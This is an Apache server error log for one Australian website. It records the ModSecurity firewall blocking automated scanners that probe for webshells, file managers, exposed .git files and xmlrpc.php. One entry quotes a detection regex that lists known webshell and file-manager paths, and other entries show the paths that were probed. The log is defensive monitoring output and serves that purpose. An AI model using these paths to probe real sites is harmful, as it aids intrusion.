[Wed Nov 19 06:55:55.208000 2025] [:error] [pid 6556:tid 6618] [client 48.210.86.54:5106] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/item.php"] [unique_id "aRz5e5uL7hhgrmdM1mttngAAAIA"]
[Wed Nov 19 06:55:58.112623 2025] [:error] [pid 6919:tid 6930] [client 48.210.86.54:9147] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/item.php"] [unique_id "aRz5fkYFdN1s_9xJVUmXfgAAAQg"]
[Wed Nov 19 06:56:00.876933 2025] [:error] [pid 6644:tid 6665] [client 48.210.86.54:8255] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/item.php"] [unique_id "aRz5gE0i6Rf788MB6sbKgAAAANM"]
[Wed Nov 19 06:56:04.130482 2025] [:error] [pid 6554:tid 6564] [client 48.210.86.54:5259] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/brand.php"] [unique_id "aRz5hN8rvPWLafJFqmVKaAAAAAU"]
[Wed Nov 19 06:56:05.148707 2025] [:error] [pid 6644:tid 6655] [client 48.210.86.54:5736] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/brand.php"] [unique_id "aRz5hU0i6Rf788MB6sbKiwAAAMk"]
[Wed Nov 19 06:56:07.701615 2025] [:error] [pid 6555:tid 6604] [client 48.210.86.54:8963] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/brand.php"] [unique_id "aRz5h0bVJm8eMsGMTCOBYwAAAE0"]
[Wed Nov 19 06:56:09.395898 2025] [:error] [pid 6555:tid 6602] [client 48.210.86.54:7525] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/brand.php"] [unique_id "aRz5iUbVJm8eMsGMTCOBZgAAAEs"]
[Wed Nov 19 06:56:11.594609 2025] [:error] [pid 6554:tid 6580] [client 48.210.86.54:5757] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/makeasmtp.php"] [unique_id "aRz5i98rvPWLafJFqmVKcAAAABQ"]
[Wed Nov 19 06:56:14.086290 2025] [:error] [pid 6919:tid 6939] [client 48.210.86.54:5107] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/makeasmtp.php"] [unique_id "aRz5jkYFdN1s_9xJVUmXsgAAARE"]
[Wed Nov 19 06:56:16.273805 2025] [:error] [pid 6554:tid 6574] [client 48.210.86.54:9394] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/makeasmtp.php"] [unique_id "aRz5kN8rvPWLafJFqmVKdQAAAA4"]
[Wed Nov 19 06:56:19.117516 2025] [:error] [pid 6919:tid 6935] [client 48.210.86.54:10245] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/makeasmtp.php"] [unique_id "aRz5k0YFdN1s_9xJVUmXxwAAAQ0"]
[Wed Nov 19 06:56:20.345471 2025] [:error] [pid 6555:tid 6605] [client 48.210.86.54:9166] [client 48.210.86.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aRz5lEbVJm8eMsGMTCOBeQAAAE4"]
[Wed Nov 19 06:56:24.966866 2025] [:error] [pid 6644:tid 6669] [client 48.210.86.54:2701] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/12.php"] [unique_id "aRz5mE0i6Rf788MB6sbKsAAAANc"]
[Wed Nov 19 06:56:26.347610 2025] [:error] [pid 6554:tid 6582] [client 48.210.86.54:4674] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/12.php"] [unique_id "aRz5mt8rvPWLafJFqmVKfAAAABY"]
[Wed Nov 19 06:56:27.551747 2025] [:error] [pid 6919:tid 6931] [client 48.210.86.54:5391] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/12.php"] [unique_id "aRz5m0YFdN1s_9xJVUmX3gAAAQk"]
[Wed Nov 19 06:56:28.155035 2025] [:error] [pid 6644:tid 6655] [client 48.210.86.54:5388] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/12.php"] [unique_id "aRz5nE0i6Rf788MB6sbKtgAAAMk"]
[Wed Nov 19 06:56:29.610173 2025] [:error] [pid 6919:tid 6944] [client 48.210.86.54:2289] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aRz5nUYFdN1s_9xJVUmX4wAAARY"]
[Wed Nov 19 06:56:31.195662 2025] [:error] [pid 6555:tid 6592] [client 48.210.86.54:2256] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aRz5n0bVJm8eMsGMTCOBjQAAAEE"]
[Wed Nov 19 06:56:39.915684 2025] [:error] [pid 6644:tid 6646] [client 48.210.86.54:3170] [client 48.210.86.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/tiny.php"] [unique_id "aRz5p00i6Rf788MB6sbKywAAAMA"]
[Wed Nov 19 06:56:41.443938 2025] [proxy_fcgi:error] [pid 6919:tid 6943] [client 48.210.86.54:10848] AH01071: Got error 'Primary script unknown'
[Wed Nov 19 06:56:41.562051 2025] [proxy_fcgi:error] [pid 6919:tid 6934] [client 48.210.86.54:10848] AH01071: Got error 'Primary script unknown'
[Wed Nov 19 06:56:42.052809 2025] [proxy_fcgi:error] [pid 6919:tid 6926] [client 48.210.86.54:10848] AH01071: Got error 'Primary script unknown'
[Wed Nov 19 06:56:42.194131 2025] [proxy_fcgi:error] [pid 6919:tid 6946] [client 48.210.86.54:10848] AH01071: Got error 'Primary script unknown'
[Wed Nov 19 06:56:42.353926 2025] [proxy_fcgi:error] [pid 6919:tid 6940] [client 48.210.86.54:10848] AH01071: Got error 'Primary script unknown'
[Wed Nov 19 07:30:36.718318 2025] [:error] [pid 6644:tid 6662] [client 18.191.165.250:56071] [client 18.191.165.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aR0BnE0i6Rf788MB6sbZVwAAANA"]
[Wed Nov 19 07:30:37.106401 2025] [:error] [pid 6919:tid 6925] [client 18.191.165.250:56146] [client 18.191.165.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aR0BnUYFdN1s_9xJVUmquAAAAQM"]
[Wed Nov 19 07:30:37.496136 2025] [:error] [pid 6554:tid 6581] [client 18.191.165.250:56236] [client 18.191.165.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aR0Bnd8rvPWLafJFqmVWqwAAABU"]
[Wed Nov 19 07:30:37.889688 2025] [:error] [pid 6919:tid 6939] [client 18.191.165.250:56321] [client 18.191.165.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aR0BnUYFdN1s_9xJVUmq5gAAARE"]
[Wed Nov 19 07:30:38.284571 2025] [:error] [pid 6919:tid 6932] [client 18.191.165.250:56406] [client 18.191.165.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aR0BnkYFdN1s_9xJVUmq8AAAAQo"]
[Wed Nov 19 16:11:10.642811 2025] [:error] [pid 6644:tid 6653] [client 103.112.33.97:24513] [client 103.112.33.97] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.112.33.97, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aR17nk0i6Rf788MB6saBJAAAAMc"]
[Wed Nov 19 16:11:10.654565 2025] [proxy_fcgi:error] [pid 6644:tid 6653] [client 103.112.33.97:24513] AH01071: Got error 'Primary script unknown'
[Wed Nov 19 20:35:57.783457 2025] [:error] [pid 6554:tid 6564] [client 104.196.176.201:58151] [client 104.196.176.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/media/system/js/core.js"] [unique_id "aR25rd8rvPWLafJFqmX7cQAAAAU"]
[Wed Nov 19 22:33:36.488673 2025] [:error] [pid 12643:tid 12646] [client 34.66.205.145:54154] [client 34.66.205.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.66.205.145, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aR3VQMaLCNSdLHNAGt4IRwAAAYA"]
[Wed Nov 19 22:33:36.499861 2025] [proxy_fcgi:error] [pid 12643:tid 12646] [client 34.66.205.145:54154] AH01071: Got error 'Primary script unknown'
[Wed Nov 19 22:33:39.199156 2025] [:error] [pid 12643:tid 12670] [client 34.66.205.145:54154] [client 34.66.205.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aR3VQ8aLCNSdLHNAGt4IVgAAAZg"]
[Wed Nov 19 22:33:40.049350 2025] [:error] [pid 12673:tid 12709] [client 34.66.205.145:56293] [client 34.66.205.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aR3VRMab1F0fb062dH2JhQAAAgU"]
[Wed Nov 19 22:33:40.822128 2025] [:error] [pid 6554:tid 6569] [client 34.66.205.145:58708] [client 34.66.205.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "aR3VRN8rvPWLafJFqmULCAAAAAk"]
[Wed Nov 19 22:33:41.331305 2025] [:error] [pid 26664:tid 26680] [client 34.66.205.145:58991] [client 34.66.205.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aR3VRYpWc1yoj2P7MeAUiQAAAU0"]
[Wed Nov 19 22:33:41.961308 2025] [:error] [pid 12672:tid 12689] [client 34.66.205.145:59025] [client 34.66.205.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aR3VRf9vojl6X1cc5mVEeAAAAcw"]
[Wed Nov 19 22:33:42.509988 2025] [:error] [pid 6644:tid 6652] [client 34.66.205.145:54457] [client 34.66.205.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aR3VRk0i6Rf788MB6sbxswAAAMY"]
[Wed Nov 19 22:33:43.065679 2025] [:error] [pid 12673:tid 12711] [client 34.66.205.145:58936] [client 34.66.205.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aR3VR8ab1F0fb062dH2JjAAAAgc"]
[Wed Nov 19 23:21:20.426141 2025] [:error] [pid 6644:tid 6654] [client 34.139.83.88:36468] [client 34.139.83.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/config"] [unique_id "aR3gcE0i6Rf788MB6sb-gwAAAMg"]
[Thu Nov 20 11:54:51.543485 2025] [:error] [pid 55343:tid 55415] [client 136.158.43.43:11393] [client 136.158.43.43] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.158.43.43, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aR6RC1WlO3EnyVMV7w5fXQAAAJA"]
[Thu Nov 20 11:54:51.556367 2025] [proxy_fcgi:error] [pid 55343:tid 55415] [client 136.158.43.43:11393] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 12:10:20.992376 2025] [:error] [pid 55342:tid 55395] [client 98.81.111.26:54871] [client 98.81.111.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aR6UrLg6x32Tvk7fIG-LvwAAAFc"]
[Thu Nov 20 12:10:21.415246 2025] [:error] [pid 804:tid 824] [client 98.81.111.26:56481] [client 98.81.111.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aR6UrfaRHpUlPL9O0Lk1gAAAAYg"]
[Thu Nov 20 12:10:21.827528 2025] [:error] [pid 55342:tid 55381] [client 98.81.111.26:61189] [client 98.81.111.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aR6Urbg6x32Tvk7fIG-L2gAAAEk"]
[Thu Nov 20 12:10:22.237201 2025] [:error] [pid 34405:tid 34418] [client 98.81.111.26:50058] [client 98.81.111.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aR6UrjFpvu8oRK7ATfvJQAAAAQs"]
[Thu Nov 20 12:10:22.649771 2025] [:error] [pid 55430:tid 55447] [client 98.81.111.26:58121] [client 98.81.111.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aR6UrvPZXaIMEU4pE7ugzwAAAM4"]
[Thu Nov 20 12:15:50.456539 2025] [:error] [pid 34405:tid 34417] [client 98.81.111.26:49248] [client 98.81.111.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aR6V9jFpvu8oRK7ATfvMyQAAAQo"]
[Thu Nov 20 12:15:50.871314 2025] [:error] [pid 804:tid 843] [client 98.81.111.26:50772] [client 98.81.111.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aR6V9vaRHpUlPL9O0Lk5HgAAAZM"]
[Thu Nov 20 12:15:51.275766 2025] [:error] [pid 34444:tid 34452] [client 98.81.111.26:53092] [client 98.81.111.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aR6V91NEol4jlmmA_GP0dgAAAUY"]
[Thu Nov 20 12:15:51.696421 2025] [:error] [pid 55342:tid 55388] [client 98.81.111.26:56596] [client 98.81.111.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aR6V97g6x32Tvk7fIG-PHgAAAFA"]
[Thu Nov 20 12:15:52.104428 2025] [:error] [pid 804:tid 841] [client 98.81.111.26:60257] [client 98.81.111.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aR6V-PaRHpUlPL9O0Lk5MQAAAZE"]
[Thu Nov 20 16:12:27.166327 2025] [:error] [pid 40445:tid 40490] [client 20.27.30.201:4082] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aR7Na1H-MuFcoWRjXpYtXwAAAk8"]
[Thu Nov 20 16:12:29.283610 2025] [proxy_fcgi:error] [pid 55343:tid 55405] [client 20.27.30.201:4089] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:12:29.400975 2025] [proxy_fcgi:error] [pid 55343:tid 55401] [client 20.27.30.201:4089] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:12:29.517947 2025] [proxy_fcgi:error] [pid 55343:tid 55411] [client 20.27.30.201:4089] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:12:29.636471 2025] [proxy_fcgi:error] [pid 55343:tid 55407] [client 20.27.30.201:4089] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:12:29.753447 2025] [proxy_fcgi:error] [pid 55343:tid 55418] [client 20.27.30.201:4089] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:12:29.877321 2025] [proxy_fcgi:error] [pid 55343:tid 55399] [client 20.27.30.201:4089] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:12:29.994919 2025] [proxy_fcgi:error] [pid 55343:tid 55406] [client 20.27.30.201:4089] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:12:30.138482 2025] [proxy_fcgi:error] [pid 55343:tid 55408] [client 20.27.30.201:4089] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:12:30.268103 2025] [proxy_fcgi:error] [pid 55343:tid 55400] [client 20.27.30.201:4089] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:12:30.394970 2025] [proxy_fcgi:error] [pid 55343:tid 55414] [client 20.27.30.201:4089] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:12:30.739091 2025] [:error] [pid 55343:tid 55404] [client 20.27.30.201:4089] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kki.php"] [unique_id "aR7NblWlO3EnyVMV7w6W9wAAAIU"]
[Thu Nov 20 16:12:32.036450 2025] [:error] [pid 55340:tid 55362] [client 20.27.30.201:4071] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kki.php"] [unique_id "aR7NcPOxD-NeMydTybCBtwAAABE"]
[Thu Nov 20 16:12:33.365930 2025] [:error] [pid 34405:tid 34422] [client 20.27.30.201:4090] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kki.php"] [unique_id "aR7NcTFpvu8oRK7ATfv6_QAAAQ8"]
